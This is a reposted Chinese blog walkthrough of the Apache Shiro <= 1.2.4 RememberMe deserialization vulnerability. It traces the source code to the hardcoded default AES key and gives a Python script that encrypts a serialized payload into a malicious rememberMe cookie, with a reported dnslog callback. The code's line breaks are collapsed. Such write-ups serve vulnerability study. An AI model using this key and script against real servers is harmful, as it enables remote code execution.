iis服务器助手广告广告
返回顶部
首页 > 资讯 > 后端开发 > JAVA >[Java反序列化]—Shiro反序列化(一)
  • 362
分享到

[Java反序列化]—Shiro反序列化(一)

java开发语言 2023-09-03 14:09:40 362人浏览 安东尼
摘要

环境配置:  IDEA搭建shiro550复现环境_普通网友的博客-CSDN博客 漏洞原理: Apache shiro框架提供了记住密码的功能(RememberMe),用户登录成功后会生成经过加密并编码的cookie。在服务端对remem

环境配置: 

IDEA搭建shiro550复现环境_普通网友的博客-CSDN博客

漏洞原理:

Apache shiro框架提供了记住密码的功能(RememberMe),用户登录成功后会生成经过加密并编码的cookie。在服务端对rememberMe的cookie值,先base64解码然后AES解密再反序列化,就导致了反序列化RCE漏洞。
那么,Payload产生的过程:
命令=>序列化=>AES加密=>base64编码=>RememberMe Cookie值
在整个漏洞利用过程中,比较重要的是AES加密的密钥,如果没有修改默认的密钥那么就很容易就知道密钥了,Payload构造起来也是十分的简单。

影响版本:

Apache Shiro <= 1.2.4

漏洞原理:

shiro反序列化主要就是对cookie进行的一系列操作, 也就是 选了 rememberme。他会对你的cookie 进行 操作。

 特征

  • 未登陆的情况下,请求包的cookie中没有rememberMe字段,返回包set-Cookie里也没有deleteMe字段
  • 登陆失败的话,不管勾选RememberMe字段没有,返回包都会有rememberMe=deleteMe字段
  • 不勾选RememberMe字段,登陆成功的话,返回包set-Cookie会有rememberMe=deleteMe字段。但是之后的所有请求中Cookie都不会有rememberMe字段
  • 勾选RememberMe字段,登陆成功的话,返回包set-Cookie会有rememberMe=deleteMe字段,还会有rememberMe字段,之后的所有请求中Cookie都会有rememberMe字段

shiro 默认使用了 CookieRememberMeManager,其处理cookie的流程是:

得到rememberMe的cookie值 --> Base64解码 --> AES解密 --> 反序列化

然而AES的密钥是硬编码的,导致攻击者可以构造任意数据造成反序列化RCE,payload:

恶意命令-->序列化-->AES加密-->base64编码-->发送cookie

在整个漏洞中,比较重要的是AES的密钥。

加密分析:

Shiro <= 1.2.4 版本默认使用   CookieRememberMeManager。

而这个 CookieRememberMeManager 继承了 AbstractRememberMeManager 跟进看看。

 此处有个 硬编码 DEFAULT_CIPHER_KEY_BYTES ,然后他又实现了 RememberMeManager接口,跟进去看看

实现了这些接口,看英文单词是  记住身份信息、忘记身份信息、登录成功、登录失败、已登录功能,既然这样,那么肯定会调用登录成功的这个接口,然后再去实现这个接口,所以我们在这里下个断点

这里我是勾选了这个 Remember me 的

 

 而这,我们是可以进入if 的

 这里的 subject 存储的是一些 登录信息  比如session 等

 而PrincipalCollection 是个身份集合,我们先不管。

我们继续跟进这个 

 rememberIdentity(subject, token, info);

 这里获取了身份信息,但是不知道是用来干嘛的

跟进一下这个  convertPrincipalsToBytes()

    protected byte[] convertPrincipalsToBytes(PrincipalCollection principals) {        byte[] bytes = serialize(principals);  //序列化这个身份信息        if (getCipherService() != null) {            bytes = encrypt(bytes);        }        return bytes;    }

这里把身份信息传给convertPrincipalsToBytes() ,身份信息传参为principals ,然后将这个信息应该是序列化了。

 大概就是跳了两层,到 DefaultSerialize类的 序列化方法,这里把身份信息转换为bytes,写入缓冲区,然后就进行了序列化,最后通过toByteArray() 方法 返回序列化后的Byte数组

然后回来这个地方:

    protected byte[] convertPrincipalsToBytes(PrincipalCollection principals) {        byte[] bytes = serialize(principals);        if (getCipherService() != null) {            bytes = encrypt(bytes);        }        return bytes;    }

 进行一个if判断,getCipherService()方法不为空则进入条件里面里面。我们f7进去内部看看;

 发现又是一个cipherService,也就是获取密码服务,我们再继续F7跟进发现直接推出了。那我们就 Ctrl+左键继续进去看。可以,发现是new了一个aes加密服务。

 那我们点击debugger处,回到刚刚那个地方;我们就不用继续进入了,我们就思考一下,这边是要获取到加密服务,如果没获取到,则不进入。获取到的话,则进入该条件;

 然后调用encrypt()方法,这是个加密方法。我们f7跟进去看看什么情况。

 这里把序列化后的bytes 传参给serialized 赋值给value ,然后if判断,getCipherService(),这个是存在的。然后我们进入条件判断股内部

ByteSource byteSource = cipherService.encrypt(serialized, this.getEncryptionCipherKey());

这里调用cipherService.encrypt()方法并且传入序列化数据,和getEncryptionCipherKey方法。

 我们通过getEncryptionCipherKey()名字可以知道是获取key的一个方法。那我们f7进入看看

直接return了 ,看看这个encryptionCipherKey的初始定义

 看看哪里赋值了

    public void setEncryptionCipherKey(byte[] encryptionCipherKey) {        this.encryptionCipherKey = encryptionCipherKey;    }

 在 setEncryptionCipherKey()进行了赋值,看看谁调用了setEncryptionCipherKey()

    public void setCipherKey(byte[] cipherKey) {        //Since this method should only be used in symmetric ciphers        //(where the enc and dec keys are the same), set it on both:        setEncryptionCipherKey(cipherKey);        setDecryptionCipherKey(cipherKey);    }

 这里调用了setEncryptionCipherKey(),继续跟谁调用了setCipherKey()

    public AbstractRememberMeManager() {        this.serializer = new DefaultSerializer();        this.cipherService = new AesCipherService();        setCipherKey(DEFAULT_CIPHER_KEY_BYTES);    }

发现是把前面看的硬编码传给了setCipherKey(),而public AbstractRememberMeManager()是构造函数。也就是说,前面的getEncryptionCipherKey(),就是固定值,硬编码

ByteSource byteSource = cipherService.encrypt(serialized, getEncryptionCipherKey());
private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");

至此 也就是说,  这个勾了remember的功能,他会把我们的身份信息,序列化后和 那个固定的key进行加密,接下来我们需要分析一下解密的操作

解密流程

在 shiro 文件中找到   CookieRememberMeManager.java 对cookie中的字段进行管理,其中有个rememberSerializedIdentity(),可以对remember认证信息进行序列化

其中这里有个 getCookie().readValue(request, response),这是读取cookie中的数据,跟上:

 根据名字,可以知道是一个读取值的方法。

通过 getName()方法得到name =remeber me  然后把value = nuLL,  在通过getCookie获取到cookie,最后判断cookie 不为空 进入到内部随后  cookie.getValue.  并赋值为 value 其值为序列化的内容   ,然后return 回value 也就是序列化的值。

也就是返回到这一步,这里进行了一个判断,判断这个 base64的值是否是 deleteMe ,是的话就返回null,我们这里肯定不是了,我们的值是序列化内容,继续往下走,然后进行了一个base64解密赋值给了 decode

得到rememberMe的cookie值 --> Base64解码 --> AES解密 --> 反序列化

目前只进行了 base64解密。接下来还需要AES 解密,继续跟进,看看哪里调用了rememberSerializedIdentity(),

 是这里调用了。 其中bytes 肯定不为空,所以进入第一个if,期间调用了convertBytesToPrincipals

 把 序列化内容传进去了,跟进。

    protected PrincipalCollection convertBytesToPrincipals(byte[] bytes, SubjectContext subjectContext) {        if (getCipherService() != null) {            bytes = decrypt(bytes);        }        return deserialize(bytes);    }

if钟进行了解密。最后回返回反序列化的内容,看看decrypt()

protected byte[] decrypt(byte[] encrypted) {    byte[] serialized = encrypted;    CipherService cipherService = getCipherService();    if (cipherService != null) {        ByteSource byteSource = cipherService.decrypt(encrypted, getDecryptionCipherKey());        serialized = byteSource.getBytes();    }    return serialized;}

很好,他也是用了硬编码进行了解密,就是那个固定值,我就不跟了。直接跟进最后面的deserialize(byte)

  protected PrincipalCollection convertBytesToPrincipals(byte[] bytes, SubjectContext subjectContext) {        if (getCipherService() != null) {            bytes = decrypt(bytes);        }        return deserialize(bytes);    }

最终就到了readObject执行反序列化

public T deserialize(byte[] serialized) throws SerializationException {    if (serialized == null) {        String msg = "argument cannot be null.";        throw new IllegalArgumentException(msg);    }    ByteArrayInputStream bais = new ByteArrayInputStream(serialized);    BufferedInputStream bis = new BufferedInputStream(bais);    try {        ObjectInputStream ois = new ClassResolvinGobjectInputStream(bis);        @SuppressWarnings({"unchecked"})        T deserialized = (T) ois.readObject();        ois.close();        return deserialized;    } catch (Exception e) {        String msg = "Unable to deserialze argument byte array.";        throw new SerializationException(msg, e);    }}

一下这个加解密 过程是我抄其他师傅的  原理不清楚,因为我没有编写脚本能力

漏洞复现

用脚本将序列化生成的文件1.txt进行aes加密

import sysimport base64import uuidfrom random import Randomfrom Crypto.Cipher import AESdef get_file(filename):    with open(filename,'rb') as f:        data = f.read()    return datadef aesEncode(data):    BS = AES.block_size    pad = lambda s: s + ((BS-len(s)%BS)) * chr(BS-len(s)%BS).encode()    key = "kPH+bIxk5D2deZiIxcaaaA=="    mode = AES.MODE_CBC    iv = uuid.uuid4().bytes    encryptor = AES.new(base64.b64decode(key),mode,iv)    ciphertext = base64.b64encode(iv+encryptor.encrypt(pad(data)))    return ciphertextdef aesDecode(enc_data):    enc_data = base64.b64decode(enc_data)    unpad = lambda s:s[:-s[-1]]    key = "kPH+bIxk5D2deZiIxcaaaA=="    mode = AES.MODE_CBC    iv = enc_data[:16]    encryptor = AES.new(base64.b64decode(key),mode,iv)    plaintext = encryptor.decrypt(enc_data[16:])    plaintext = unpad(plaintext)    return plaintext if __name__ == '__main__':    data = get_file("1.txt")    print(aesEncode(data))

生成后传入cookie 中,dnslog成功回显

来源地址:https://blog.csdn.net/snowlyzz/article/details/128133957

--结束END--

本文标题: [Java反序列化]—Shiro反序列化(一)

本文链接: https://www.lsjlt.com/news/392289.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

本篇文章演示代码以及资料文档资料下载

下载Word文档到电脑,方便收藏和打印~

下载Word文档
猜你喜欢
  • [Java反序列化]—Shiro反序列化(一)
    环境配置:  IDEA搭建shiro550复现环境_普通网友的博客-CSDN博客 漏洞原理: Apache Shiro框架提供了记住密码的功能(RememberMe),用户登录成功后会生成经过加密并编码的cookie。在服务端对remem...
    99+
    2023-09-03
    java 开发语言
  • Java序列化与反序列化
    目录Java 序列化与反序列化序列化APIObjectOutputStreamObjectInputStreamserialVersionUIDTransient (瞬态变量)实例理...
    99+
    2023-05-14
    Java序列化 Java反序列化
  • 序列化与反序列化
    序列化(pickling)   把变量从内存中变成可存储或传输的过程 反序列化(unpickling)   把变量内容从序列化的对象重新读到内存里的过程 序列化&反序列化的意义  在程序运行过程中,对象可在内存中被自由的修改  一...
    99+
    2023-01-31
    序列 化与 序列化
  • Java序列化和反序列化(详解)
    一、理解Java序列化和反序列化 Serialization(序列化):将java对象以一连串的字节保存在磁盘文件中的过程,也可以说是保存java对象状态的过程。序列化可以将数据永久保存在磁盘上(通常保存在文件中)。 deserializa...
    99+
    2023-09-11
    java 开发语言
  • 【反序列化漏洞-01】序列化与反序列化概述
    为什么要序列化 百度百科上关于序列化的定义是,将对象的状态信息转换为可以存储或传输的形式(字符串)的过程。在序列化期间,对象将其当前状态写入到临时或持久性存储区(非关系型键值对形式的数据库Redis,与数组类似)。以后,可以通过从存储区中...
    99+
    2023-09-06
    web安全 安全 反序列化 序列化 PHP反序列化漏洞 Powered by 金山文档
  • 一文搞懂Java中的序列化与反序列化
    目录序列化和反序列化的概念应用场景序列化实现的方式继承Serializable接口,普通序列化继承Externalizable接口,强制自定义序列化serialVersionUID的...
    99+
    2022-11-13
  • PHP序列化和反序列化
    一.什么是序列化和反序列化 php类与对象 类是定义一系列属性和操作的模板,而对象,就是把属性进行实例化,完事交给类里面的方法,进行处理。 `。尝试构造payload: ...
    99+
    2023-08-31
    php 开发语言
  • 一文详解Java对象的序列化和反序列化
    目录一、什么是 Java 序列化和反序列化?二、序列化和反序列化的实现方式三、序列化和反序列化的注意事项四、序列化和反序列化的优点和缺点五、总结Java 对象的序列化和反序列化是一种...
    99+
    2023-05-16
    Java对象序列化 Java对象反序列化 Java对象序列化和反序列化
  • 协议,序列化,反序列化,Json
    文章目录 协议序列化和反序列化网络计算器protocol.hppServer.hppServer.ccClient.hppClient.cclog.txt通过结果再次理解通信过程 Json...
    99+
    2023-09-01
    json 网络 服务器
  • Java之对象的序列化和反序列化
    对象的序列化和反序列化1)对象序列化,就是将Object对象转换成byte序列,反之叫对象的反序列化。2)序列化流(ObjectOutputStream),是字节的过滤流—— writeObject()方法 反序列化流(Object...
    99+
    2019-09-29
    Java IO流 对象 序列化 反序列化
  • 图文浅析Java序列化和反序列化
    序列化 序列化:将对象转换为二进制序列在网络中传输或保存到磁盘 反序列化:从网络或磁盘中将二进制序列转换为对象 注意: 对象必须实现Serializable接口 对象的所有属性都要...
    99+
    2022-11-12
  • 深入理解Java序列化与反序列化
    目录一、前言1.1 String1.2 Integer二、案例2.1 编写大象类2.2 大象测试类三、运行结果一、前言 序列化:将对象转换为二进制序列在网络中传输或保存到磁盘 反序列...
    99+
    2022-11-12
  • Java序列化和反序列化示例介绍
    以前用序列化都是一些方法需要才实现的,后来业务需求要深拷贝才去研究。参阅了别人博客得出一些总结。 序列化是为了把Java对象转化为字节序列(字节流)的过程。然后深拷贝是通过对流的操作...
    99+
    2022-11-12
  • Java序列化和反序列化示例分析
    这期内容当中小编将会给大家带来有关Java序列化和反序列化示例分析,文章内容丰富且以专业的角度为大家分析和叙述,阅读完这篇文章希望大家可以有所收获。序列化是为了把Java对象转化为字节序列(字节流)的过程。然后深拷贝是通过对流的操作来实现的...
    99+
    2023-06-26
  • Java序列化与反序列化怎么实现
    本篇内容主要讲解“Java序列化与反序列化怎么实现”,感兴趣的朋友不妨来看看。本文介绍的方法操作简单快捷,实用性强。下面就让小编来带大家学习“Java序列化与反序列化怎么实现”吧!序列化与反序列化概念序列化 (Serialization)是...
    99+
    2023-06-02
  • Java序列化与反序列化怎么应用
    这篇“Java序列化与反序列化怎么应用”文章的知识点大部分人都不太理解,所以小编给大家总结了以下内容,内容详细,步骤清晰,具有一定的借鉴价值,希望大家阅读完这篇文章能有所收获,下面我们一起来看看这篇“Java序列化与反序列化怎么应用”文章吧...
    99+
    2023-07-05
  • 一文带你解读Java序列化和反序列化机制
    Java 提供了一种对象序列化的机制,该机制中,一个对象可以被表示为一个字节序列,该字节序列包括该对象的数据、有关对象的类型的信息和存储在对象中数据的类型。 将序列化对象写入文件之后...
    99+
    2023-01-11
    Java序列化 反序列化机制 Java序列化 反序列化 Java序列化 Java 反序列化
  • PHP反序列化
    文章目录 简介POP链构造和Phar://题目[CISCN2019 华北赛区 Day1 Web1]Dropbox 字符串逃逸 简介 php序列化的过程就是把数据转化成一种可逆的数...
    99+
    2023-09-01
    php 开发语言
  • 【Java 基础篇】Java序列化与反序列化详解
    文章目录 导言一、序列化与反序列化的原理二、序列化与反序列化的使用方法1、序列化对象2、反序列化对象 三、序列化与反序列化的应用场景1、持久化存储2、网络传输3、缓存机制 总结 ...
    99+
    2023-10-08
    java jvm 开发语言
  • thinkphp5 注入 反序列化写文件 phar反序列化
    原文出处: 红队攻击第3篇 thinkphp5框架 注入 反序列化写文件 phar反序列化 (qq.com) 1.SQL注入1 ...
    99+
    2023-09-10
    sql web安全 php
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作